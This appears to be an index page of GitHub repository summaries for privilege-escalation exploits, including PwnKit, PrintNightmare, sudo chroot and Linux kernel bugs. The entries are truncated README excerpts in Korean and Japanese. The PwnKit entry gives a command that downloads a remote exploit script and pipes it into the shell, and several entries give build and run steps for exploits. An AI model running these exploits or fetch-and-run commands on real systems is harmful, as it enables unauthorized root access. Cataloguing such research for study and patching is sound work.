metasploitable2-privilege-escalation

Task 05 — Privilege Escalation Zyroo Cybersecurity Internsh...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE 익스플로잇 테스트 지원: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32, Win2003 x64 원래 exp는 XP, 2003을 지원하지 않았으며, 현재 코드는 원래 코드를 기반으로 이 두 시스템에 대한 지원을 추가했습니다. 사용법 CVE-2018-8120 exploit by...

CVE-2023-2640-3262-PoC

CVE-2023-2640/3262-PoC Ubuntu OverlayFS 로컬 권한 상승 취약점을 위한 최소 PoC입니다. CVE 목록 CVE-2023-2640 – OverlayFS 권한 처리 문제 CVE-2023-3262 – OverlayFS 권한 상승 문제 파일 CVE-2023-2640.sh – 기본 OverlayFS 동작 테스트 CVE-2023-3262.sh – 권한 상승 PoC exploitchain.sh – 결합 익스플로잇 root 요구 사항 취약한 Ubuntu 시스템 로컬 액세스 unshare, setcap, moun...

CVE-2022-0185-POC

CVE-2022-0185 — 개념 증명 CVE-2022-0185 에 대한 개념 증명 익스플로잇으로, Linux 커널의 legacyparseparam 함수fs/fscontext.c에서 발생하는 힙 기반 버퍼 오버플로우입니다. 이 취약점을 통해 로컬의 비특권 사용자가 root로 권한을 상승시킬 수 있습니다. 원본 익스플로잇: Crusaders of Rust. 전체 분석 문서: https://www.willsroot.io/2022/01/cve-2022-0185.html 취약점 이 버그는 legacyparseparam 내부의 경계...

CdpSvcLPE

CdpSvcLPE CdpSvc サービスを介した Windows ローカル権限昇格 書き込み可能なSYSTEMパスでのDLLハイジャック 概要: Connected Devices Platform Service CDPSvc は NT AUTHORITY\LOCAL SERVICE として実行されるサービスで、起動時に絶対パスを指定せず LoadLibrary を呼び出して、存在しない cdpsgshims.dll DLL を読み込もうとします。そのため、DLL 検索順序の流れの中で DLL をハイジャックでき、C:\python27 のような書き込み可能な SYSTEM パスの場...

PwnKit_CVE-2021-4034

PwnKit CVE-2021-4034에 대한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 Ubuntu, Debian, Fedora 및 CentOS 기반의 취약한 Linux 배포판에서 바로 사용할 수 있습니다. sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh" 수동 실행 curl -fsSL...

CVE-2021-1675

🖨️ CVE-2021-1675 — PrintNightmare Windows Print Spooler RCE/LPE タイプ: 概念実証 — シミュレーション（非機能） CVE: CVE-2021-1675 + CVE-2021-34527 CVSS: 7.8 LPE / 8.8 RCE 別名: PrintNightmare パッチ適用: 2021年6月/7月 — KB5004945 CISA KEV に追加: 2021年7月 ⚠️ このPoCのペイロードは明示的に架空かつ非悪意のものです —...

CVE-2023-2598

CVE-2023-2598 참조: https://anatomic.rip/cve-2023-2598/ https://github.com/ysanatomic/iouringLPE-CVE-2023-2598 https://bsauce.github.io/2024/07/30/CVE-2023-2598/ 빌드: apt install -y liburing-dev gcc CVE-2023-2598.c -o CVE-2023-2598 -luring PoC: user1@syzkaller:$ uname -a Linux syzkaller 6.3.1 6 SMP...

CVE-2023-4911

CVE-2023-4911 사용 docker build -t CVE-2023-4911 -f Dockerfile . docker run -it CVE-2023-4911 ./exp 참고 https://github.com/leesh3288/CVE-2023-4911 https://github.com/Green-Avocado/CVE-2023-4911 https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt...

CVE-2021-4034

概念実証 Proof of Concept: CVE-2021-4034 PwnKit 注記: このリポジトリとその内容は卒業研究 GrAL の一部であり、教育目的および学術研究のみを目的として作成されています。 説明 このリポジトリには、CVE-2021-4034 の脆弱性 PwnKit としても知られる に対する概念実証 PoC - Proof of Concept コードが含まれています。このメモリ破壊の脆弱性は、Linux システム上の Polkit の pkexec コンポーネントに影響を与えます。pkexec が空の引数リスト argc == 0...

cve-2021-4034

CVE-2021-4034 - PwnKit Polkit 로컬 권한 상승 개요 이 저장소는 CVE-2021-4034일명 PwnKit에 대한 개념 증명을 포함하고 있습니다. 개인 교육 및 학습 목적으로만 개발되었습니다. 자신이 소유하거나 명시적으로 테스트 권한을 부여받은 환경에서만 사용하십시오. 종속성 익스플로잇을 빌드하려면 다음이 필요합니다: gcc make nasm ld xxd 설명 pkexec는 Polkit의 유틸리티로, 권한이 있는 사용자가 다른 사용자일반적으로 관리자 권한로 프로그램을 실행할 수 있게 해주며 sudo와...

CVE-2023-50780

CVE-2023-50780: Jolokia API를 통해 Apache ActiveMQ Artemis에서 접근 가능한 위험한 MBeans http://127.0.0.1:8161/console/jolokia에서 Jolokia API가 노출하는 MBeans를 나열하고 검사함으로써 다음과 같은 공격 벡터가 식별되었습니다: Log4J를 사용한 임의 파일 쓰기로 간접적인 원격 코드 실행RCE 초래 Log4J를 사용한 임의 파일 읽기 Artemis Broker MBeans를 사용한 DoS 이 취약점은 Artemis 웹 인터페이스에서 사용되...

CVE-2021-4034-POC

크레딧 취약점 작성자: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 참고자료 https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c https://linux.die.net/man/1/pkexec manpage/pkexec...

CVE-2025-32463

🚨 PoC: CVE-2025-32463 – Sudo chroot 탈출 취약점 sudo 버전 1.9.01.9.17p1 에 영향을 주는 치명적인 취약점으로, 사용자가 chroot을 탈출하여 실제 루트 파일시스템에 접근할 수 있게 합니다. 📌 설명 CVE-2025-32463은 sudo의 로컬 권한 상승 취약점으로, 특정 sudoers 설정을 가진 사용자가 chroot 감옥을 탈출하여 호스트 시스템의 루트 디렉터리에 접근할 수 있게 합니다. 🔥 영향 사용자의 /etc/sudoers에 다음과 같은 줄이 포함되어 있다면: someuser...

CVE-2009-0229-PoC

CVE-2009-0229-PoC CVE-2009-0229 "Print Spooler Read File Vulnerability" LPE AFR CVE-2020-1048 관련에 대한 PoC 세부 정보 저자: Andrei Costin [email protected] https://twitter.com/costinandrei/ PoC 날짜: 2010-xx-xx 공개일: 2020-05-14 CVE-2020-1048에 의해 상기/영감을 받음 - 네, 파티에 너무 늦었네요 :D TL;DR 0day를 원한다면 OS의 인쇄 및 팩스...

nftables-oob-read-write-exploit-CVE-2023-35001-

nftables OOB 읽기/쓰기 익스플로잇 CVE-2023-35001 pwn2own Vancouver 2023에서 Ubuntu 데스크탑을 대상으로 사용된 익스플로잇입니다. 이 익스플로잇은 이벤트 시작 시 사용 가능한 커널 버전5.19.0-35을 지원합니다. 요구 사항 C 컴파일러 Go 컴파일러 사용법 Build $ make Run $ ./exploit 이 명령은 대상 시스템에서 압축을 풀 수 있는 lpe.zip 파일을 생성합니다. 아카이브에는 두 개의 바이너리가 있습니다: wrapper : 네임스페이스 진입에 사용되는 C...

cve-2025-32463-lab

CVE-2025-32463 – Sudo chroot 로컬 권한 상승 실습 환경 이 저장소는 CVE-2025-32463 sudo 1.9.14 1.9.17 버전의 로컬 권한 상승 취약점을 위한 Docker 기반 실습 환경과 개념 증명 익스플로잇을 포함합니다. 🚨 면책 조항 이 코드는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유권이 없거나 명시적 허가를 받지 않은 시스템에서는 사용하지 마십시오. 실습 환경 특징 취약한 Ubuntu 24.04 컨테이너 sudo 1.9.15p5 일반 사용자 labuser 익스플로잇 스크립트:...

2022-LPE-UAF

2022-LPE-UAF 보안 연구원들이 Linux 커널에서 3개의 취약점을 발견했습니다. 이는 로컬 공격자가 권한을 상승시키고 잠재적으로 악성 코드를 실행할 수 있게 합니다. 개념 증명 코드가 공개되어 있어 실제 환경에서 악용될 가능성이 높아졌습니다. https://zplin.me/papers/DirtyCred-Zhenpeng.pdf...

CVE-2025-32463

CVE-2025-32463 - Sudo Chroot 권한 상승 익스플로잇 개요 CVE-2025-32463은 sudo 1.9.14부터 1.9.17까지의 버전에서 발생하는 심각한 로컬 권한 상승 취약점입니다. 이 취약점은 chroot 옵션 처리 로직의 설계 결함을 악용하여 sudo 권한을 가진 공격자가 루트 액세스로 권한을 상승할 수 있도록 합니다. 취약점 세부 정보 CVE ID : CVE-2025-32463 영향 받는 버전 : sudo 1.9.14 - 1.9.17 취약점 유형 : 로컬 권한 상승LPE 심각도 : 치명적 패치 버전...

CVE-2012-0056

CVE-2012-0056 Mempodipper, 리눅스 로컬 루트 익스플로잇. 복제 출처 http://git.zx2c4.com/CVE-2012-0056 ssh://[email protected]/CVE-2012-0056...